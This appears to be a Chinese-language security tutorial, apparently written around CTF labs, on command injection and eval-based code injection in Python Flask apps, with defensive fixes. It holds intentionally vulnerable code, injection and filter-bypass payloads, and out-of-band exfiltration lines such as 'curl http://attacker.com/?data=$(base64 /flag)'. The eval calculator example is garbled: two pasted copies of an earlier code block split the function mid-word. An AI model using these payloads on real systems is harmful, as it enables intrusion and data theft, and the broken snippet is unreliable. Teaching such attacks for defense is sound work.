在 Python Web 开发中,如果在处理用户输入时缺乏严格的过滤和验证,且错误地使用了高危函数,就极易导致命令执行(OS Command Injection)或代码执行(Code Injection)漏洞。攻击者一旦利用成功,通常可以直接获取服务器的控制权(RCE)。

OS命令执行漏洞

漏洞原理

当应用程序需要调用操作系统级命令来完成某些任务(如网络连通性测试 ping、文件处理等)时,如果将未经净化的用户输入直接拼接到了系统命令字符串中并执行,攻击者就可以通过注入系统命令分隔符(如 ;|&&||)来执行预期之外的恶意系统命令。

常见危险函数

  • os.system()
  • os.popen()
  • subprocess.Popen() / subprocess.run() / subprocess.call() (当参数 shell=True 时)
  • commands 模块下的函数(Python 2 环境)

假设一个 Flask Web 接口提供 ping 功能:

1
2
3
4
5
6
7
8
9
10
import os
from flask import request

@app.route('/ping')
def ping_host():
ip = request.args.get('ip')
# 危险!直接将用户输入拼接进系统命令
cmd = "ping -c 4 " + ip
result = os.popen(cmd).read()
return result

攻击方式:如果用户传入 ip=127.0.0.1; id,实际执行的命令变成了 ping -c 4 127.0.0.1; id,系统会一并执行 id 命令并将结果返回。

常见类型

无回显的命令执行漏洞

常见的盲注探测与利用手法

当你怀疑某个参数存在命令注入,但页面没有任何报错或输出时,通常会使用以下三种方法进行测试和利用:

时间盲注

最简单直接的探测方法。通过注入耗时命令,观察服务器响应时间的延迟。

Payload 示例: 127.0.0.1; sleep 5127.0.0.1; ping -c 5 127.0.0.1

原理: 如果服务器过了 5 秒才返回那个“干瘪”的页面,说明 sleep 5 被成功执行了,漏洞存在。

输出重定向

这就是你在靶场中最终拿到 flag 的方法。既然网页不给我看,那我就把结果写到一个我能看到的地方。

Payload 示例: ; cat /flag > /tmp/flag.txt(或者写入到 Web 根目录下,如 /var/www/html/flag.txt,然后直接通过浏览器访问下载)。

原理: 利用 Linux 的重定向符 > 或 >>,将标准输出转存到系统内的其他文件。

带外数据提取 (Out-of-Band / OOB)

这是实战中最常用的高级手法(比如使用 DNSLog 或 Ceye)。当服务器不出网限制不严时,我们可以让目标服务器主动把执行结果“寄”到我们控制的服务器上。

HTTP 请求 Payload: ; curl http://attacker.com/?data=$(base64 /flag)

原理: 目标服务器执行 cat /flag 并进行 base64 编码,然后拼接到 URL 中,向攻击者的服务器发送 HTTP GET 请求。攻击者只需查看自己的服务器日志即可。

DNS 请求 Payload: ; ping -c 1 $(whoami).attacker.com

原理: 目标服务器解析域名时,会将执行命令的结果(如 root)作为子域名发送到攻击者的 DNS 服务器。

代码案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import subprocess
import flask

app = flask.Flask(__name__)

@app.route("/assignment", methods=["GET"])
def challenge():
# 接收用户输入,默认值为 /challenge/PWN
arg = flask.request.args.get("absolute-path", "/challenge/PWN")
# 危险:直接将用户输入拼接到系统命令中
command = f"touch {arg}"

# 执行命令
result = subprocess.run(
command,
shell=True, # 危险:开启了 Shell 解析,允许 ; | & 等截断符
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
encoding="latin"
)

# 盲注的根源:虽然 result.stdout 中包含了命令的执行结果,
# 但由于开发者粗心或业务逻辑需要,页面并没有把 result.stdout 渲染出来,
# 而是只打印了 command 变量本身。
return f"""
<html><body>
<b>Ran {command}!</b><br>
</body></html>
"""

WAF过滤

命令分隔符过滤绕过

当常见的 ;|& 被过滤时,我们可以利用系统本身支持的其他控制字符来截断命令。

  • 换行符绕过 (Newline): 在 URL 中表现为 %0a。在 Bash 中,换行符同样代表上一条命令的结束。
    • Payload: ip=127.0.0.1%0awhoami
  • 回车符绕过 (Carriage Return): 在 URL 中表现为 %0d
    • Payload:ip=127.0.0.1%0dwhoami

空格过滤绕过

当 WAF 过滤了空格字符( 或 %20)时,系统无法区分命令和参数,可以通过以下方式替换空格:

  • $IFS 环境变量: $IFS(Internal Field Separator)是 Linux 中的内部字段分隔符,默认值包含空格、制表符和换行符。
    • Payload: cat$IFS/flag
    • 进阶: 为了防止 Shell 将 $IFS 后面的字母也当作变量名的一部分,通常会结合大括号 ${IFS} 或追加一个空变量 $9(代表第9个参数,通常为空)来截断:
      • cat${IFS}/flag
      • cat$IFS$9/flag
  • 输入重定向符 <<>:
    • Payload:cat</flagcat<>/flag
  • Tab 键绕过: 在 URL 中表现为 %09
    • Payload:cat%09/flag

关键字过滤绕过 (如 cat, flag)

当特定的敏感词被拉黑时,可以通过 Shell 的解析特性来打断关键字,但仍保持命令的正常执行。

  • 引号/反斜杠拼接: Shell 遇到没有实际意义的单/双引号或反斜杠会自动忽略。
    • Payload: c""at /fl''ag
    • Payload: `c\at /fl\ag``
  • *通配符绕过 (? 和 _): 利用路径匹配。
    • Payload: /bin/c?? /fl* (匹配 /bin/cat /flag)
    • Payload: cat /fl[a-z]g
  • 变量拼接: 将关键字拆分赋值给多个变量,然后再拼接执行。
    • Payload:a=c;b=at;c=/fl;d=ag;$a$b $c$d

读取命令替换 (当 cat 被彻底封杀)

Linux 提供了众多不仅限于 cat 的文件读取命令:

  • tac: 反向输出文件内容(从最后一行开始)。
  • more / less: 分页显示文件内容。
  • head / tail: 打印文件开头/结尾的内容。
  • nl: 带有行号输出文件内容。
  • od -c: 以八进制(及 ASCII)转储文件内容,常用于绕过严格的纯文本过滤。
  • sort / uniq: 也可以间接用于输出文件内容。
  • 文本处理工具: awk '{print $0}' /flagsed -n '1,$p' /flag

编码与命令执行绕过

如果过滤规则极其严格(比如限制了字母或特定符号),可以考虑在本地将恶意命令进行 Base64 或十六进制编码,然后在目标服务器上解码并执行。

  • Base64 解码执行:

    • 原理: 将 cat /flag 编码为 Y2F0IC9mbGFn

    • Payload: echo "Y2F0IC9mbGFn" | base64 -d | shecho "Y2F0IC9mbGFn" | base64 -d | bash

      防御与修复

  • 避免使用 shell=True:在使用 subprocess 模块时,坚决不要使用 shell=True

  • 参数列表化传递:将命令和参数作为列表传递给 subprocess,这样 Python 会将其作为单个参数处理,而不是交给 shell 解析。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import subprocess
    from flask import request

    @app.route('/secure_ping')
    def secure_ping():
    ip = request.args.get('ip')
    # 安全!以列表形式传入参数,且 shell=False(默认)
    try:
    result = subprocess.run(["ping", "-c", "4", ip], capture_output=True, text=True, timeout=5)
    return result.stdout
    except Exception as e:
    return "Error occurred."

代码执行漏洞 (Code Execution)

漏洞原理

代码执行漏洞是指应用程序将用户输入的数据当作 Python 源代码进行动态解析和执行。由于 Python 是动态语言,提供了强大的反射和动态执行机制,如果滥用这些机制,后果不堪设想。

常见危险函数

  • eval():执行传入的 Python 表达式。
  • exec():执行传入的动态 Python 语句块。
  • compile():将字符串编译为字节代码,可与 eval/exec 结合使用。

漏洞示例 (非安全代码)

假设一个基于 Python 的计算器 Web 接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from flask import request

@app.route('/calculate')
deimport subprocess
import flask

app = flask.Flask(__name__)

@app.route("/assignment", methods=["GET"])
def challenge():
# 接收用户输入,默认值为 /challenge/PWN
arg = flask.request.args.get("absolute-path", "/challenge/PWN")
# 危险:直接将用户输入拼接到系统命令中
command = f"touch {arg}"

# 执行命令
result = subprocess.run(
command,
shell=True, # 危险:开启了 Shell 解析,允许 ; | & 等截断符
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
encoding="latin"
)

# 盲注的根源:虽然 result.stdout 中包含了命令的执行结果,
# 但由于开发者粗心或业务逻辑需要,页面并没有把 result.stdout 渲染出来,
# 而是只打印了 command 变量本身。
return f"""
<html><body>
<b>Ran {command}!</b><br>
</body></html>
"""import subprocess
import flask

app = flask.Flask(__name__)

@app.route("/assignment", methods=["GET"])
def challenge():
# 接收用户输入,默认值为 /challenge/PWN
arg = flask.request.args.get("absolute-path", "/challenge/PWN")
# 危险:直接将用户输入拼接到系统命令中
command = f"touch {arg}"

# 执行命令
result = subprocess.run(
command,
shell=True, # 危险:开启了 Shell 解析,允许 ; | & 等截断符
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
encoding="latin"
)

# 盲注的根源:虽然 result.stdout 中包含了命令的执行结果,
# 但由于开发者粗心或业务逻辑需要,页面并没有把 result.stdout 渲染出来,
# 而是只打印了 command 变量本身。
return f"""
<html><body>
<b>Ran {command}!</b><br>
</body></html>
"""f calculate():
expression = request.args.get('expr')
# 危险!直接使用 eval 解析用户输入的数学表达式
result = eval(expression)
return str(result)

攻击方式: 攻击者不会输入 1+1,而是输入 __import__('os').system('whoami')eval 会将其作为 Python 代码执行。

防御与修复

  • 绝对禁止将不可信的用户输入传入 eval()exec()
  • 使用安全的替代方案:如果必须解析类似于 Python 数据结构的字符串(如字典、列表、数字),请使用 ast.literal_eval()。它只解析基础的字面量表达式,不会执行任何函数调用或复杂逻辑。
1
2
3
4
import ast

# 安全:ast.literal_eval 会在遇到恶意代码时抛出 ValueError
safe_result = ast.literal_eval("{'key': 1, 'value': 2}")